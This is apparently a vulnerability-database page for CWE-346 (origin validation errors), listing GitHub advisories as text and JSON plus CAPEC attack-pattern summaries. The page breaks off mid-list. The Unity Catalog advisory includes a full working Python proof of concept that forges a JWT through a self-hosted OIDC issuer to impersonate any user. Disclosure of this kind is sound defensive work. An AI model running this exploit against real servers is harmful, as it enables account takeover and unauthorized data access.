CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
789 vulnerabilities reference this CWE, most recent first.
GHSA-QPX7-R6J6-CQF3
Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-15 18:31Inappropriate implementation in V8 in Google Chrome prior to 150.0.7871.125 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-15775"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T21:16:43Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in V8 in Google Chrome prior to 150.0.7871.125 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-qpx7-r6j6-cqf3",
"modified": "2026-07-15T18:31:49Z",
"published": "2026-07-14T21:32:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15775"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0353146366.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/531319201"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQCJ-RGHW-829X
Vulnerability from github – Published: 2026-05-11 17:58 – Updated: 2026-05-11 17:58Context: A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.
Way to exploit:
An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token
This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.
Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.
Example
Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.
This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.
#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""
import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify
TARGET_USER = "user@example.com"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"
# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)
# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}
# Create malicious JWT
token = jwt.encode(
{"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
"iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
algorithm="RS256", headers={"kid": kid}
)
# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True
@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})
@app.route("/jwks")
def keys(): return jsonify(jwks)
threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)
# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
"requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
"subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
"subject_token": token})
if resp.status_code == 200:
access_token = resp.json()["access_token"]
print(f"[+] Got access token as '{TARGET_USER}'")
# Demo: list catalogs
catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
headers={"Authorization": f"Bearer {access_token}"})
print(catalogs.json())
else:
print(f"[-] Failed: {resp.status_code} {resp.text}")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.unitycatalog:unitycatalog-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27478"
],
"database_specific": {
"cwe_ids": [
"CWE-1390",
"CWE-290",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T17:58:40Z",
"nvd_published_at": "2026-03-11T20:16:14Z",
"severity": "CRITICAL"
},
"details": "**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n \"subject_token\": token})\n\nif resp.status_code == 200:\n access_token = resp.json()[\"access_token\"]\n print(f\"[+] Got access token as \u0027{TARGET_USER}\u0027\")\n # Demo: list catalogs\n catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n headers={\"Authorization\": f\"Bearer {access_token}\"})\n print(catalogs.json())\nelse:\n print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```",
"id": "GHSA-qqcj-rghw-829x",
"modified": "2026-05-11T17:58:40Z",
"published": "2026-05-11T17:58:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27478"
},
{
"type": "PACKAGE",
"url": "https://github.com/unitycatalog/unitycatalog"
},
{
"type": "WEB",
"url": "https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation"
}
GHSA-QRQ7-GPW3-H474
Vulnerability from github – Published: 2026-06-05 00:31 – Updated: 2026-06-05 18:31Inappropriate implementation in DataTransfer in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-11161"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-04T23:17:22Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in DataTransfer in Google Chrome prior to 149.0.7827.53 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-qrq7-gpw3-h474",
"modified": "2026-06-05T18:31:36Z",
"published": "2026-06-05T00:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11161"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/501920294"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QRV2-7HR4-VP6H
Vulnerability from github – Published: 2022-05-14 03:26 – Updated: 2022-05-14 03:26In the getHost() function of UriTest.java, there is the possibility of incorrect web origin determination. This could lead to incorrect security decisions with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-71360761.
{
"affected": [],
"aliases": [
"CVE-2017-13274"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-04T16:29:00Z",
"severity": "CRITICAL"
},
"details": "In the getHost() function of UriTest.java, there is the possibility of incorrect web origin determination. This could lead to incorrect security decisions with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-71360761.",
"id": "GHSA-qrv2-7hr4-vp6h",
"modified": "2022-05-14T03:26:41Z",
"published": "2022-05-14T03:26:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-13274"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-04-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QVV5-JQ5G-4CGG
Vulnerability from github – Published: 2026-06-10 19:33 – Updated: 2026-06-10 19:33Impact
Any baileys session under the latest version (< 7.0.0-rc12, and < 6.7.22) can be sent a malicious payload via the placeholderResendMessage and trigger a fake messages.upsert event with a fake message key and payload. This allows anyone to spoof messages. The same exploit also allows an attacker to corrupt the app state sync system by sending fake key shares, and also allows for history sync spoofing which also serves the same problem, injecting fake previous context or "on-demand" sync.
Patches
https://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35 This commit has patched the issue, and a version tag has been released under 7.0.0 (6.7.22) for those still on Baileys v6. A new Baileys version, v7.0.0-rc12, has been released to remediate this.
Workarounds
There are no real workarounds other than dropping messages.upsertevents that contain a requestId field, turning off automatic history sync (shouldSyncHistoryMessage: () => false) in socket config. There are no workarounds for the app state sync jamming.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "baileys"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@whiskeysockets/baileys"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "baileys"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0-rc.1"
},
{
"fixed": "7.0.0-rc12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@whiskeysockets/baileys"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0-rc.1"
},
{
"fixed": "7.0.0-rc12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48063"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-345",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-10T19:33:20Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Impact\nAny baileys session under the latest version (\u003c 7.0.0-rc12, and \u003c 6.7.22) can be sent a malicious payload via the placeholderResendMessage and trigger a fake `messages.upsert` event with a **fake message key and payload**. This allows anyone to spoof messages. The same exploit also allows an attacker to corrupt the app state sync system by sending fake key shares, and also allows for history sync spoofing which also serves the same problem, injecting fake previous context or \"on-demand\" sync.\n\n### Patches\nhttps://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35 This commit has patched the issue, and a version tag has been released under 7.0.0 (6.7.22) for those still on Baileys v6. A new Baileys version, v7.0.0-rc12, has been released to remediate this.\n\n\n### Workarounds\nThere are no real workarounds other than dropping `messages.upsert `events that contain a `requestId` field, turning off automatic history sync (`shouldSyncHistoryMessage: () =\u003e false`) in socket config. There are no workarounds for the app state sync jamming.",
"id": "GHSA-qvv5-jq5g-4cgg",
"modified": "2026-06-10T19:33:20Z",
"published": "2026-06-10T19:33:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WhiskeySockets/Baileys/security/advisories/GHSA-qvv5-jq5g-4cgg"
},
{
"type": "WEB",
"url": "https://github.com/WhiskeySockets/Baileys/commit/3beb08eecfcb4e65722e674034bd84fb11a9de35"
},
{
"type": "PACKAGE",
"url": "https://github.com/WhiskeySockets/Baileys"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Baileys has message upsert / hist sync spoofing and app state corruption when using maliciously crafted protocolMessage payload"
}
GHSA-QXRJ-HX23-XP82
Vulnerability from github – Published: 2023-12-11 21:46 – Updated: 2023-12-12 00:46Currently, the middleware operates in a way that if an allowed origin is not provided, it will return an Access-Control-Allow-Origin header with the value of the origin from the request. This behavior completely disables one of the most crucial elements of browsers - the Same Origin Policy (SOP), this could cause a very serious security threat to the users of this middleware.
If such behavior is expected, for instance, when middleware is used exclusively for prototypes and not for production applications, it should be heavily emphasized in the documentation along with an indication of the risks associated with such behavior, as many users may not be aware of it.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@koa/cors"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49803"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-11T21:46:21Z",
"nvd_published_at": "2023-12-11T23:15:07Z",
"severity": "HIGH"
},
"details": "Currently, the middleware operates in a way that if an allowed origin is not provided, it will return an `Access-Control-Allow-Origin` header with the value of the origin from the request. This behavior completely disables one of the most crucial elements of browsers - the Same Origin Policy (SOP), this could cause a very serious security threat to the users of this middleware.\n\nIf such behavior is expected, for instance, when middleware is used exclusively for prototypes and not for production applications, it should be heavily emphasized in the documentation along with an indication of the risks associated with such behavior, as many users may not be aware of it.",
"id": "GHSA-qxrj-hx23-xp82",
"modified": "2023-12-12T00:46:36Z",
"published": "2023-12-11T21:46:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/koajs/cors/security/advisories/GHSA-qxrj-hx23-xp82"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49803"
},
{
"type": "WEB",
"url": "https://github.com/koajs/cors/commit/f31dac99f5355c41e7d4dd3c4a80c5f154941a11"
},
{
"type": "PACKAGE",
"url": "https://github.com/koajs/cors"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Overly permissive origin policy"
}
GHSA-R27C-5QFM-C764
Vulnerability from github – Published: 2025-01-21 21:30 – Updated: 2025-11-03 21:32Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and 9.1.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-21497"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T21:15:14Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.40 and prior, 8.4.3 and prior and 9.1.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).",
"id": "GHSA-r27c-5qfm-c764",
"modified": "2025-11-03T21:32:18Z",
"published": "2025-01-21T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21497"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250131-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R4F7-5V86-4W55
Vulnerability from github – Published: 2025-12-22 15:30 – Updated: 2025-12-22 15:30Authentication issue that does not verify the source of a packet which could allow an attacker to create a denial-of-service condition or modify the configuration of the device.
{
"affected": [],
"aliases": [
"CVE-2025-61740"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-22T15:16:00Z",
"severity": "HIGH"
},
"details": "Authentication issue that does not verify the source of a packet which could allow an attacker to create a denial-of-service condition or modify the configuration of the device.",
"id": "GHSA-r4f7-5v86-4w55",
"modified": "2025-12-22T15:30:21Z",
"published": "2025-12-22T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61740"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-350-02"
},
{
"type": "WEB",
"url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-R4J5-J8M6-JR6P
Vulnerability from github – Published: 2026-01-08 18:30 – Updated: 2026-01-09 21:31An issue was discovered in Nitro PDF Pro for Windows before 14.42.0.34. In certain cases, it displays signer information from a non-verified PDF field rather than from the verified certificate subject. This could allow a document to present inconsistent signer details. The display logic was updated to ensure signer information consistently reflects the verified certificate identity.
{
"affected": [],
"aliases": [
"CVE-2025-67825"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T18:15:58Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in Nitro PDF Pro for Windows before 14.42.0.34. In certain cases, it displays signer information from a non-verified PDF field rather than from the verified certificate subject. This could allow a document to present inconsistent signer details. The display logic was updated to ensure signer information consistently reflects the verified certificate identity.",
"id": "GHSA-r4j5-j8m6-jr6p",
"modified": "2026-01-09T21:31:35Z",
"published": "2026-01-08T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67825"
},
{
"type": "WEB",
"url": "https://gonitro.com"
},
{
"type": "WEB",
"url": "https://www.gonitro.com/documentation/release-notes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R5P7-GP4J-QHRX
Vulnerability from github – Published: 2026-04-03 02:44 – Updated: 2026-04-06 23:11Impact
When an iframe requests fullscreen, pointerLock, keyboardLock, openExternal, or media permissions, the origin passed to session.setPermissionRequestHandler() was the top-level page's origin rather than the requesting iframe's origin. Apps that grant permissions based on the origin parameter or webContents.getURL() may inadvertently grant permissions to embedded third-party content.
The correct requesting URL remains available via details.requestingUrl. Apps that already check details.requestingUrl are not affected.
Workarounds
In your setPermissionRequestHandler, inspect details.requestingUrl rather than the origin parameter or webContents.getURL() when deciding whether to grant fullscreen, pointerLock, keyboardLock, openExternal, or media permissions.
Fixed Versions
41.0.040.8.139.8.138.8.6
For more information
If there are any questions or comments about this advisory, please email security@electronjs.org
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "38.8.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "39.0.0-alpha.1"
},
{
"fixed": "39.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "40.0.0-alpha.1"
},
{
"fixed": "40.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "electron"
},
"ranges": [
{
"events": [
{
"introduced": "41.0.0-alpha.1"
},
{
"fixed": "41.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34777"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T02:44:26Z",
"nvd_published_at": "2026-04-04T00:16:18Z",
"severity": "MODERATE"
},
"details": "### Impact\nWhen an iframe requests `fullscreen`, `pointerLock`, `keyboardLock`, `openExternal`, or `media` permissions, the origin passed to `session.setPermissionRequestHandler()` was the top-level page\u0027s origin rather than the requesting iframe\u0027s origin. Apps that grant permissions based on the origin parameter or `webContents.getURL()` may inadvertently grant permissions to embedded third-party content.\n\nThe correct requesting URL remains available via `details.requestingUrl`. Apps that already check `details.requestingUrl` are not affected.\n\n### Workarounds\nIn your `setPermissionRequestHandler`, inspect `details.requestingUrl` rather than the origin parameter or `webContents.getURL()` when deciding whether to grant `fullscreen`, `pointerLock`, `keyboardLock`, `openExternal`, or `media` permissions.\n\n### Fixed Versions\n* `41.0.0`\n* `40.8.1`\n* `39.8.1`\n* `38.8.6`\n\n### For more information\nIf there are any questions or comments about this advisory, please email [security@electronjs.org](mailto:security@electronjs.org)",
"id": "GHSA-r5p7-gp4j-qhrx",
"modified": "2026-04-06T23:11:08Z",
"published": "2026-04-03T02:44:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electron/electron/security/advisories/GHSA-r5p7-gp4j-qhrx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34777"
},
{
"type": "PACKAGE",
"url": "https://github.com/electron/electron"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Electron: Incorrect origin passed to permission request handler for iframe requests"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
